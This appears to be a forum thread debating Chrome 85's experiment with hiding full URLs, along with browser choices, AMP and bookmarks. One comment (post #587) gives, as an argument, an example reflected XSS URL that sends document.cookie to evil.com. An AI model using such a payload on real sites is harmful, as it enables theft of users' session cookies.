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Google adds experimental setting to hide full URLs in Chrome 85 address bar

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Re: Google adds experimental setting to hide full URLs in Chrome 85 address bar

#581

Post by ceejayoz »

cameronbrown wrote: post #542
ceejayoz wrote: post #494

Earlier quoted context omitted.

Is that a meaningful piece of learning, though? I’ve been doing webdev since the 1990s and still look up character codes if I need them.

Are you gatekeeping a 7 year old? Learning about character encoding from first principles is an awesome accomplishment.

I’m saying learning character encoding doesn’t support this:

> Needlessly hiding technical details from kids is going to limit their learning.

I watch kids learning circuitry via redstone in Minecraft on iOS and Xbox - walled gardens, yet impressive learning nonetheless.

Re: Google adds experimental setting to hide full URLs in Chrome 85 address bar

#582

Post by latexr »

polotics wrote: post #189
ahmedfromtunis wrote: post #87

If their goal is really to help detect fraudulent sites (the sorts of google.com.notahacker.tk), they can just show the domain in a more prominent way -- they're already deemphasizing the part of the URL after the domain name anyway. This is clearly not their motive. What Google is trying to do here is to drift the web from its most iconic components: the URL. This is the biggest threat to the web that we loved for s…

Word! Frankly at this point I'm even starting to think that the whole weird "SJW" angle of this thread is also disingenuous and taking us away from the boiling frog death of the Internet, replaced by AMPed up centralized comoditization of users, with death to all liberty and openness.

> the boiling frog death

That metaphor is based on a false premise[1]:

> While some 19th-century experiments suggested that the underlying premise is true if the heating is sufficiently gradual, according to contemporary biologists the premise is false: a frog that is gradually heated will jump out. Indeed, thermoregulation by changing location is a fundamentally necessary survival strategy for frogs and other ectotherms.

[1]: https://en.wikipedia.org/wiki/Boiling_frog

Re: Google adds experimental setting to hide full URLs in Chrome 85 address bar

#583

Post by ggggtez »

Viliam1234 wrote: post #266
ahmedfromtunis wrote: post #87

If their goal is really to help detect fraudulent sites (the sorts of google.com.notahacker.tk), they can just show the domain in a more prominent way -- they're already deemphasizing the part of the URL after the domain name anyway. This is clearly not their motive. What Google is trying to do here is to drift the web from its most iconic components: the URL. This is the biggest threat to the web that we loved for s…

I assume the goal is to make sure that people never remember the URL and always use Google to get anywhere. Most people probably already do, but maybe increasing their number from 80% to 90% is still worth it. If this is indeed the real motivation, the next obvious target would be bookmarks. What can be done about them? Replace the bookmarked URLs by Google queries? It would be an interesting functionality if Google…

Maybe this is just one of those pet issues that I can't get behind. Hiding "www" does not strike me as some evil scheme to prevent savvy users from bookmarking websites. It just doesn't.

They already had the feature you are worried about and it's existed since like 1999. Do you remember the "I'm Feeling Lucky" button? You could bookmark a query and it would redirect you to the first result for that search. It was discontinued in 2010 [Wikipedia].

I feel like there are a lot more sane things to be paranoid about in the world right now, but mandatory "I'm feeling lucky" doesn't reach my top 20000.

Re: Google adds experimental setting to hide full URLs in Chrome 85 address bar

#584

Post by bad_user »

fastball wrote: post #576
AsyncAwait wrote: post #563

Earlier quoted context omitted.

Brave is essentially a repackaged Chrome and does nothing to help undermine the Blink monopoly. They're not directly funded by Google, but their browser depends directly on Google funding Chrome's development.

If Google disappeared tomorrow, Brave would continue to exist and would continue to get updates. Brave does not depend on Google, directly or otherwise. They depend on an open source project called Chromium, which is largely developed by Google, but because it is open source anyone can build off of it. Brave funds their development through the BAT token and through affiliate marketing, both of which are much better f…

> If Google disappeared tomorrow, Brave would continue to exist and would continue to get updates.

Microsoft wasn't able to keep developing a browser on their own, I doubt that Brave could. The problem is that a browser nowadays is so complex to develop that you need serious resources to invest in it. Without Google's ongoing development, Brave would not survive. And given Google's changes to undermine ads blockers, it's going to be interesting to see Brave struggling to maintain their fork.

---

> much better for user privacy and security

Right, keep telling yourself that.

Btw, I actually wonder how what Brave is doing isn't copyright infringement, given they are directly profiting from blocking the ads of publishers. I guess they are small enough to not matter, for now.

---

> Brave's ad-blocker works better by default than any ad-blocker I've used, and I've tried them all.

I worked on anti-ad-blocking technology.

Nothing beats uBlock Origin running on top of Firefox, everything else was strictly inferior. Not even blocking JavaScript in the page, because you can easily force the user to enable JS for you by breaking the content on that page. uBlock Origin is so bad that we avoiding it entirely, being useful for people frustrated with AdBlock Plus to turn to, sort of like in the Matrix.

Re: Google adds experimental setting to hide full URLs in Chrome 85 address bar

#585

Post by sorenjan »

wyattpeak wrote: post #417
sorenjan wrote: post #332

I actually wouldn't mind if the URL bar was replaced with a breadcrumb bar on some sites, like news and forums. Imagine something like Example.com > Worldnews > 2020 > 06 > 14 > Big aquatic monster spotted outside of Tokyo or forum.example.com > Sport > Football > Spain > Real Madrid It could then work like in Explorer in Windows 10, where you can press one of the breadcrumb separators and see a menu with siblings, o…

I really dislike any attempt to modify strings like this. I find it invariably causes problems in edge cases. What if a site handles slashes differently to how Google expects? Where do GET arguments go? What if I want to modify the URL? Breadcrumbs are great when each part is navigable, but does example.com/worldnews/2020/06 actually lead anywhere, or is it an invalid address for the site? I have absolutely no intere…

> I really dislike any attempt to modify strings like this. I find it invariably causes problems in edge cases. What if a site handles slashes differently to how Google expects?

I think it would have to be some standard format that websites use, not just string manipulation in the browsers. And certainly not some Google dictated feature! For the same reason, each part would have to be navigable on these sites, to work as I described. There's various possible solutions, like meta tags or some manifest like breadcrumbs.jsonld mentioned in another comment.

The fact that Windows Explorer doesn't show the full URL in special folders is a separate issue, I only mentioned it for the breadcrumbs example.

Re: Google adds experimental setting to hide full URLs in Chrome 85 address bar

#586

Post by dleslie »

shadowgovt wrote: post #505
mysterydip wrote: post #453

Earlier quoted context omitted.

would you care if you went to mybank.com.sketchysite.us?

Bad analogy. AMP is a Google content proxying technology, and Google isn't generally understood to be a "sketchy site." Users with the level of paranoia that puts Google in the "untrusted site" space should be sidestepping this whole conversation by avoiding using the browser Google develops regardless of what Google does to its URL bar.

Google is "sketchy" for any non-American who wishes not to be subject to the whims of American law and espionage.

Re: Google adds experimental setting to hide full URLs in Chrome 85 address bar

#587

Post by saagarjha »

vntok wrote: post #487
mysterydip wrote: post #453

Earlier quoted context omitted.

would you care if you went to mybank.com.sketchysite.us?

A better comparison would be mybank.com/logmein vs mybank.com/login vs mybank.com/l.jx?s=AU8NE6FX5IKMD2 And no, users do not need to care the slightest whether they go to the first, second or 3rd URL. What they care about is that they are entering their sensitive information on mybank.com's domain and not a russian counterpart, that's it.

How about mybank.com/login?reflect=%3Cscript%3Enew%20Image().src=%22http://evil.com%22%20+%20document.cookie%3C/script%3E

Re: Google adds experimental setting to hide full URLs in Chrome 85 address bar

#589

Post by gpanders »

FalconSensei wrote: post #439
shagabutdinov wrote: post #73

Earlier quoted context omitted.

Because it has bugs that make it unusable for some people (e.g developers) - https://bugzilla.mozilla.org/show_bug.cgi?id=1628162

I would also add that, to personal use, Firefox has some features that seem half-baked. Like: 1 - Selecting multiple tabs and saving to bookmarks: you can't add to an existing folder without creating a subfolder. 2 - Add keywords to bookmarks: no way to filter bookmarks that have keywords. Also, when typing on the address bar, the keyword doesn't get highlighted or anything 3 - can't add a custom search engine. You h…

> 3 - can't add a custom search engine. You have to add its extension, if available. Or add as a bookmark with a keyword, but then you won't be able to see a list of all search engines...

As a full time, happy Firefox user, this annoys me to no end, increasingly so as there are more and more competing search engines that I want to try.

I’m pretty sure that you used to be able to add arbitrary search engines too (by specifying the search URL with %q for the search query). It’s amazing to me that they would remove this.

Re: Google adds experimental setting to hide full URLs in Chrome 85 address bar

#590

Post by wpm »

jeromegv wrote: post #577
Epskampie wrote: post #444

Earlier quoted context omitted.

The bookmarking functions in chrome are already extremely weak, I guess for the reason you point out. No tagging, only folders, results when searching don’t get top position in the omnibar. Bookmarking is one of the areas where firefox is clearly superior.

Same for the history, I much prefer it in Safari than Chrome. It looks like Chrome make it worthless on purpose so that we use Google instead of looking through our history.

And what’s worse is that none of the other Chromium browsers change it, it really is the worst history/bookmarking UI out there. Firefox’s isn’t much better as it feels plucked straight out of 2003.

It made the Safari 13 Extension-pocalypse so much harder to bear. Every browser I can pick from has something important I have to compromise on.

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